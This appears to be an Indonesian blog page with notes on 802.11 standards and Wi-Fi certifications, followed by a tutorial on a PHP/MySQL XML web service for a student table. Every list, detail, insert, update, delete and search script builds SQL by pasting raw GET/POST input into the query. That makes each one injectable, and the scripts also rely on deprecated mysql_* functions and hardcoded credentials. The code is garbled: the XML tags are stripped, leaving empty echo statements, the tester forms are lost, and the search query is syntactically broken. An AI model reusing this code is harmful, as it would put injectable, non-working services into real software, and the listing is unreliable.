    • 5.250 – 5.350 GHz UNII-2 (indoor/outdoor)
    • 5.725 – 5.825 GHz UNII-3 (indoor/outdoor, mainly outdoor)
  • Spread spectrum :
    • OFDM (Orthogonal Frequency Division Multiplexing)
Keuntungan menggunakan 5 GHz band adalah sedikitnya interference yang ada sehingga dapat meningkatkan performa dan reliability.

802.11g

Perkembangan dari 802.11 ini dirilis pada tahun 2003 dan beroperasi pada 2.4 GHz ISM band, seperti halnya 802.11 dan 802.11b.
  • Data rates :
    • 1 dan 2 Mbps (compatible dengan DSSS)
    • 5.5 dan 11 Mbps (compatible dengan HR/DSSS)
    • 6, 9, 12 Mbps OFDM (required)
    • 18, 24, 36, 48, dan 54 Mbps OFDM (supported)
  • Beroperasi di 2.4 GHz ISM band
  • Spread spectrum :
    • DSSS
    • HR/DSSS
    • ERP-OFDM
802.11g backward compatible dengan 802.11/802.11b karena sama-sama beroperasi di 2.4 GHz ISM band dan mendukung metode akses yang sama.

802.11n

Dirilis pada tahun 2009 dan beroperasi di 2.4 GHz dan 5 GHz, sehingga standar ini backward compatible dengan 802.11a maupun 802.11b/g. Karena fleksibilitas dan data rate yang lebih tinggi inilah, kebanyakan deployment baru berdasarkan pada 802.11n
  • Data rates 54 – 600 Mbps
  • Beroperasi di :
    • 2.4 GHz ISM band
    • 5 GHz UNII bands
  • MIMO (Multiple Input Multiple Output)
  • HT-OFDM

Sertifikasi Interoperabilitas

Seringkali vendor-vendor mengimplementasikan perangkat-perangkat wireless dan network secara proprietary(menggunakan rule/protokol pribadi). Hal ini dapat menyebabkan masalah interoperabilitas produk mereka dengan produk vendor lain.
Untuk itulah dibutuhkan sertifikasi interoperabilitas vendor agar perangkat satu vendor dapat berkomunikasi dengan perangkat vendor yang lain.

Wi-Fi Alliance

IEEE bertanggung jawab untuk menghasilkan standar-standar wireless networking. Akan tetapi, vendor-vendor perangkat jaringan tidak perlu membuktikan bahwa produk mereka memenuhi standar tersebut.
Wi-Fi Alliance dibentuk untuk menyediakan testing interoperabilitas perangkat-perangkat wireless dari berbagai macam vendor. Istilah Wi-Fi adalah istilah sertifikasi namun sering disalah artikan dalam dunia industri. Wi-Fi adalah merek dagang terdaftar yang awalnya didaftarkan oleh WECA pada tahun 1999 dan sekarang terdaftar untuk Wi-Fi Alliance.

Wi-Fi Protected Access (WPA)

Sertifikasi WPA diciptakan karena adanya fakta bahwa keamanan dalam standar original 802.11 lemah dan memiliki banyak lubang keamanan. Sertifikasi ini di desain sebagai solusi sementara sebelum dirilisnya standar 802.11 yang mengatasi masalah-masalah keamanan, yakni 802.11i (2004).
Fitur-fitur WPA :
  • TKIP (Temporal Key Integrity Protocol
  • Passphrase
  • 802.1X/EAP.

Wi-Fi Protected Access 2 (WPA 2.0)

WPA 2.0 merupakan sertifikasi setelah dirilisnya 802.11i. Sertifikasi ini backward compatible dengan WPA dan dilengkapi dengan solusi-solusi keamanan yang lebih advance.

Wi-Fi Multimedia (WMM)

Sertifikasi dari Wi-Fi Alliance berbasis standar IEEE 802.11e yang menyediakan fitur QoS (Quality of Service). QoS diperlukan untuk menjamin berlangsungnya komunikasi-komunikasi real time seperti voice dan video.

Wi-Fi Multimedia Power Save (WMM-PS)

WMM-PS di desain untuk perangkat-perangkat mobile dan aplikasi-aplikasi spesifik yang membutuhkan mekanisme power-save advance untuk menghemat baterei, seperti :
  • VoIP phones
  • Laptop
  • PDA
  • Headset
  • Mouse dan Keyboards
Mekanisme power-save ini memungkinkan perangkat untuk menghemat baterei dengan cara “tidur sejenak” dalam waktu yang singkat. Fitur ini jika diaktifkan akan menurunkan performa beberapa tingkat.

Wi-Fi Protected Setup (WPS)

WPS diciptakan dengan adanya fakta bahwa user/konsumen small office home office menginginkan metode sederhana untuk mendapatkan fitur keamanan yang terbaik bagi instalasi mereka tanpa harus memiliki pengetahuan yang mendalam tentang jaringan wireless.
Sertifikasi WPS membutuhkan 2 tipe autentikasi untuk memungkinkan user mendapatkan konfigurasi otomatis :
  • Push-button configuration (PBC)
  • PIN-based configuration, berdasarkan nomor ID personal.
Support konfigurasi PIN dan PBC dibutuhkan untuk Access Point (AP) sedangkan perangkat klien minimum harus support PIN.

Selasa, 12 Maret 2013

Membuat web service XML sederhana menggunakan PHP dan MySQL

Membuat web service XML sederhana menggunakan PHP dan MySQL


Pada pembahasan kali ini, dalam blog ini web service yang dibangun hanya untuk menjelaskan secara sederhana saja. Untuk contoh kasus, diasumsikan ada sebuah database yang berisi satu tabel yaitu t_mhs. Dalam t_mhs ini memiliki kolom nim, nama, kelas, tahun dan alamat. Dengan menggunakan tabel tersebut kita akan mencoba satu per satu bagaimana web service dibuat.

1
Dari struktur tabel ini kita akan mencoba menampilkan hasil seperti ini.
10108088
Daeng Rosanda
IF-2
2008
Soreang

Sebelum menuju koding, alangkah baik nya kita analisis dulu struktur dari XML nya sendiri. Perhatikan baik-baik, XML merupakan suatu format text yang nilainya saling diapit oleh kuncinya. Jadi kalau struktur XML itu kuncinya ada yang tidak saling mengapit, maka pembacaannya bisa menimbulkan error. Kemudian lihat kuncinya baik-baik, disana ada kunci nilai kunci ini merupakan representasi dari fieldnamenya tabel t_mhs. Begitu pula sampai dengan struktur dibawahnya. Bagaimana dengan kunci dengan kunci ? kunci tersebut merupakan kunci bantuan yang sengaja dibuat untuk memisahkan apabila data yang diaksesnya banyak. Untuk lebih jelasnya lihat kode XML dibawah ini.

10108088
Daeng Rosanda
IF-2
2008
Soreang
10108089
Trisna Abdi
IF-2
2008
Kebon Bibit

Pada struktur ini terjadi pengulangan kunci sedangkan kunci tetap ada pada awal dan akhir kode. Sebenarnya mau bebas pun bisa, disini dibuat seperti itu hanya untuk membedakan kunci berulang dengan yang tidak. Baiklah kita mulai dengan XML banyak baris. Sebelum memulai. persiapkan dulu kode PHP untuk koneksi database. Simpan dengan nama koneksi.php. Untuk koneksi.php username, password, dan nama database disesuaikan dengan konfigurasi yang anda miliki. Bisa juga untuk menggunakan user root.

function koneksi_db(){
  //untuk koneksi database
  $host = "localhost";
  $database = "kuliah_be";
  $user = "kuliah_be";
  $password = "kuliah_be";
  $link=mysql_connect($host,$user,$password);
  mysql_select_db($database,$link);
  if(!$link){
echo "Error : ".mysql_error();
  }else{
    return $link;
  }
}
?>


XML output untuk fungsi daftar mahasiswa
Pertama-tama buat file php simpan dengan list_mhs.php. Dalam list_mhs.php ini akan ada beberapa fungsi native PHP, diantaranya adalah header, include, kueri database disusul dengan fungsi echo untuk output XMLnya.

include('koneksi.php');
header('Content-Type:text/xml');
$link=koneksi_db();
$sql='SELECT * FROM `t_mhs` WHERE 1 ORDER BY NIM';
$res=mysql_query($sql,$link);
if($res){
if(mysql_num_rows($res)>0){
echo '';
while($data = mysql_fetch_assoc($res)){
echo '';
echo ''.$data['nim'].''.$data['nama'].''.$data['kelas'].''.$data['thn'].''.$data['alamat'].'';
echo '
';
}
echo '
';
}else{
echo 't_mhs masih kosong';
}

}else{
echo ''.mysql_errno().''.mysql_error().'';
}
?>

XML output untuk fungsi detail mahasiswa
Untuk pembuatan detail mahasiswa akan ada suatu parameter khusus untuk menampilkan mahasiswa secara spesifik. Biasanya yang digunakan adalah parameter HTTPGET. Parameter HTPGET merupakan parameter yang langsung disertakan pada badan URL. contoh: http://www.google.com/?q=search&aqs=chrome. Pada URL tersebut ada parameter setelah simbol tanda tanya (?) yaitu q dan aqs. Parameter tersebut dipecah dengan simbol dan (&). Sedangkan untuk nilai dari setiap parameternya biasanya diikuti setelah sama dengan(=) setelah nama parameter. Dengan adanya parameter ini, perlu penanganan khusus dalam skrip PHPnya supaya tidak error. Adapun fungsi yang digunakan adalah fungsi isset. Untuk lebih jelasnya tinjau kode dibawah ini. Simpan kode dibawah ini dengan nama detail_mhs.php.


include('koneksi.php');
header('Content-Type:text/xml');
if(isset($_GET['id'])){
$link=koneksi_db();
$sql='SELECT * FROM `t_mhs` WHERE nim = "'.$_GET['id'].'";';
$res=mysql_query($sql,$link);
if($res){
echo '';
$data = mysql_fetch_assoc($res);
echo '';
echo ''.$data['nim'].''.$data['nama'].''.$data['kelas'].''.$data['thn'].''.$data['alamat'].'';
echo '
';
echo '
';
}else{
echo ''.mysql_errno().''.mysql_error().'';
}
}else{
echo '404one or more parameter needed';
}
?>

Cara pengaksesan untuk skrip ini adalah dengan memanggil url disertai dengan parameter id kemudian disusul dengan nilainya. Contoh : http://localhost/backend/detail_mhs.php?id=10108088. Untuk mengganti detail mahasiswanya Anda cukup mengganti nilai yang digaris bawahi dengan nilai yang valid dalam field nim t_mhs. 

XML output untuk fungsi tambah data mahasiswa
Untuk pembuatan  tambah data mahasiswa mahasiswa akan ada beberapa parameter khusus untuk mengisikan data mahasiswa kedalam database. Biasanya yang digunakan adalah parameter HTTPPOST. Parameter HTPPOST merupakan parameter dikirim melalui form. Dalam parameter ini, nilai dan parameter tidak eksplisit diperlihatkan pada url, melainkan dikirim langsung pada saat request halaman web melaui form submit. Tapi meskipun begitu, untuk penangannya sama dengan HTTPGET yaitu dengan menggunakan fungsi isset. Untuk lebih jelasnya lihat kode dibawah ini.

include('koneksi.php');
header('Content-Type:text/xml');
if(isset($_POST['nim'],$_POST['nama'],$_POST['kelas'],$_POST['thn'],$_POST['alamat'])){
$link=koneksi_db();
$sql='INSERT INTO `t_mhs`(`nim`, `nama`, `kelas`, `thn`, `alamat`) VALUES ("'.$_POST['nim'].'","'.$_POST['nama'].'","'.$_POST['kelas'].'","'.$_POST['thn'].'","'.$_POST['alamat'].'");';
$res=mysql_query($sql,$link);
if($res){
echo '';
$data = mysql_fetch_assoc($res);
echo '';
echo '1data added';
echo '
';
echo '
';
}else{
echo ''.mysql_errno().''.mysql_error().'';
}
}else{
echo '404one or more parameter needed';
}
?>

Tapi ini belum selesai, kita harus membuat tester untuk menguji apakah kodenya berjalan dengan baik atau tidak. Untuk itu kita membuat file php baru yaitu tester_add_mhs.php. File ini berstruktur html biasa dengan berisikan form dan nilai beserta kunci parameter yang akan digunakan untuk menambahkan data pada database melalui web service. Untuk lebih jelasnya lihat kode dibawah ini.

</p> <p style="text-align: justify;"> Tester - add_mhs.php</p> <p style="text-align: justify;">

Tester - add_mhs.php

nim
:
nama
:
kelas
:
thn
:
alamat
:



Setelah itu buka file nya kemudian isi dengan lengkap setelah itu coba untuk submit. Kemudian lihat hasilnya apa ada error atau tidak. Jika ada error, pastikan anda memeriksa field name pada input di form testernya. Jika tidak ada error, maka anda bisa langsung melihatnya melalui web service list_mhs.php.

XML output untuk fungsi merubah data mahasiswa
Untuk merubah data mahasiswa akan diperlukan Key untuk mengakses data mahasiswa yang akan diubah datanya beserta parameter-parameter detail dari data mahasiswa. Ini tidaklah rumit, karena ini telah dibangun sebelumnya. Untuk membangun skrip ini tinggal menggabungkan skrip add_mhs.php dengan detail_mhs.php tapi query MySQL nya saja yang diganti. Untuk lebih jelasnya lihat kode dibawah ini. Simpan kode dibawah ini dengan nama edit_mhs.php.

include('koneksi.php');
header('Content-Type:text/xml');
if(isset($_GET['id'],$_POST['nim'],$_POST['nama'],$_POST['kelas'],$_POST['thn'],$_POST['alamat'])){
$link=koneksi_db();
$sql='UPDATE `t_mhs` SET `nim`="'.$_POST['nim'].'",`nama`="'.$_POST['nama'].'",`kelas`="'.$_POST['kelas'].'",`thn`="'.$_POST['thn'].'",`alamat`="'.$_POST['alamat'].'" WHERE nim = "'.$_GET['id'].'";';
$res=mysql_query($sql,$link);
if($res){
echo '';
$data = mysql_fetch_assoc($res);
echo '';
echo '1data changed';
echo '
';
echo '
';
}else{
echo ''.mysql_errno().''.mysql_error().'';
}
}else{
echo '404one or more parameter needed';
}
?>

Seperti pada add_mhs.php. Skrip ini juga butuh tester untuk pengujiannya. Pada dasarnya tester ini dengan yang add_mhs.php sama, namun yang membedakan adalah pada url action di tag formnya. Ini merupakan hal yang harus digaris bawahi, karena skrip edit_mhs.php ini terdiri dari parameter HTTPPOST dan HTTPGET jadi mau tidak mau harus ada kode yang diedit manual ketika akan menggunakan skrip tester ini. Untuk lebih jelasnya lihat pada kode dibawah ini. Simpan kode dibawah ini dengan tester_edit_mhs.php.

</p> <p style="text-align: justify;"> Tester - edit_mhs.php</p> <p style="text-align: justify;">

Tester - edit_mhs.php

nim
:
nama
:
kelas
:
thn
:
alamat
:


Coba perhatikan pada kode yang digaris bawahi diatas. Kode tersebut menandakan bahwa tester hanya akan merubah data mahasiswa dengan id sama dengan 10108088. Jadi tester ini menggabungkan HTTPGET dan HTTPPOST secara bersamaan. Bagaimana jika id yang tertera tidak ada? berarti dalam tabel t_mhs tidak ada data yang dirubah meskipun hasil pada XML nya adalah data changed. Jadi solusi terbaiknya adalah, pastikan id yang anda definisikan pada skrip tersebut valid. Jika ingin merubah data mhs yang lain, maka Anda cukup untuk mengganti nilai dari parameter id tersebut.

XML output untuk fungsi hapus data mahasiswa
Untuk membangun skrip ini sebenarnya telah sama dengan skrip untuk add_mhs.php. Hanya saja yang membedakan adalah kueri beserta parameter yang dikirimnya. Parameter yang dikirim untuk skrip ini berupa HTTPGET parameter. Jadi tidak perlu tester untuk penggunaan skrip ini. Untuk lebih jelasnya lihat kode dibawah ini. Simpan kode dibawah ini dengan nama rem_mhs.php.

include('koneksi.php');
header('Content-Type:text/xml');
if(isset($_GET['id'])){
$link=koneksi_db();
$sql=' DELETE FROM `t_mhs` WHERE nim = "'.$_GET['id'].'";';
$res=mysql_query($sql,$link);
if($res){
echo '';
$data = mysql_fetch_assoc($res);
echo '';
echo '1data removed';
echo '
';
echo '
';
}else{
echo ''.mysql_errno().''.mysql_error().'';
}
}else{
echo '404one or more parameter needed';
}
?>
Untuk pengaksesan skrip ini, caranya sama dengan pemanggilan dari skrip detail_mhs.php.

XML output untuk fungsi pencarian data mahasiswa
Pencarian merupakan salah satu syarat yang harus ada baik dalam web maupun web service. Pembangunan skrip ini sama halnya dengan skrip detail mahasiwa, tapi yang membedakan hanyalah kunci parameter dengan kueri nya saja. Untuk lebih jelasnya lihat kode dibawah ini. Simpan kode dibawah ini dengan nama find_mhs.php.

include('koneksi.php');
header('Content-Type:text/xml');
if(isset($_GET['q'])){
$link=koneksi_db();
$sql='SELECT * FROM `t_mhs` WHERE nim LIKE %"'.$_GET['q'].'"% OR name LIKE %"'.$_GET['q'].'"% OR kelas  LIKE %"'.$_GET['q'].'"% OR thn  LIKE %"'.$_GET['q'].'"% OR alamat LIKE %"'.$_GET['q'].'"%;';
$res=mysql_query($sql,$link);
if($res){
echo '';
$data = mysql_fetch_assoc($res);
echo '';
echo ''.$data['nim'].''.$data['nama'].''.$data['kelas'].''.$data['thn'].''.$data['alamat'].'';
echo '
';
echo '
';
}else{
echo ''.mysql_errno().''.mysql_error().'';
}
}else{
echo '404one or more parameter needed';
}
?>

Dokumentasi untuk Web Service
Ini merupakan salah satu pekerjaan dari pada pembangun web service disamping membangun kode. Dokumentasi memudahkan para programmer lainnya untuk menggunakan web service yang anda bangun secara mudah. Meskipun para programmer mampu membaca setiap kode yang anda bangun, tapi itu akan menambah beban dan menambah lama waktu pembuatan aplikasi yang memerlukan web service anda. Oleh karena itu, alangkah baiknya anda mendokumentasikan setiap web service yang anda bangun. Secara garis besar, dokumentasi yang anda bangun meliputi logika constrain da restriction kemudian parameter, key, value, data type, beserta output yang dihasilkan. Untuk lebih jelasnya anda bisa mengacu pada contoh dibawah ini.

Web Service API Edit Data Mahasiswa

Sample request http://localhost/backend/edit_mhs.php?id=[valid_nim_mhs]
note : Webservice API will not detected for valid_nim_mhs. Please use the valid identifier.

Required parameter
POST : nim, nama, kelas, tahun, alamat.
GET :id

Sample Respons
if success
1data added
if one or more parameter missing
404one or more parameter needed

Ini merupakan akhir dari salah satu dokumentasi fungsi add_mhs.php, masih ada banyak fungsi yang belum terdokumentasi. Dokumentasi API biasanya disajikan terus menerus sampai semua fungsi yang ada dalam webservice ter-cover. Diharapkan dengan adanya dokumentasi, para programmer yang akan menggunakan web service Anda dapat mengetahui secara garis besar maupun detail kebutuhan apa saja yang mereka harus sediakan.

Kesimpulan
Pembangunan web service ini hanya sebagai gambaran kasar. Web Service ini masih banyak kekurangan, diantaranya kekurang konsistenan untuk key yang dihasilkan XML jika terjadi perubahan struktur pada tabel. Belum adanya batasan keamanan untuk membatasi web service yang dibangun. Batasan ini biasanya berbentuk kode yang disebut dengan AppKey atau token. Dengan adanya token, diharapkan penggunaan web service dapat dimanfaatkan secara terkendali.

Akhir kata, jika anda perlu yang sudah langsung jadi, anda bisa download sample kode-kode diatas beserta sql dump nya di sini.

 

Get this widget!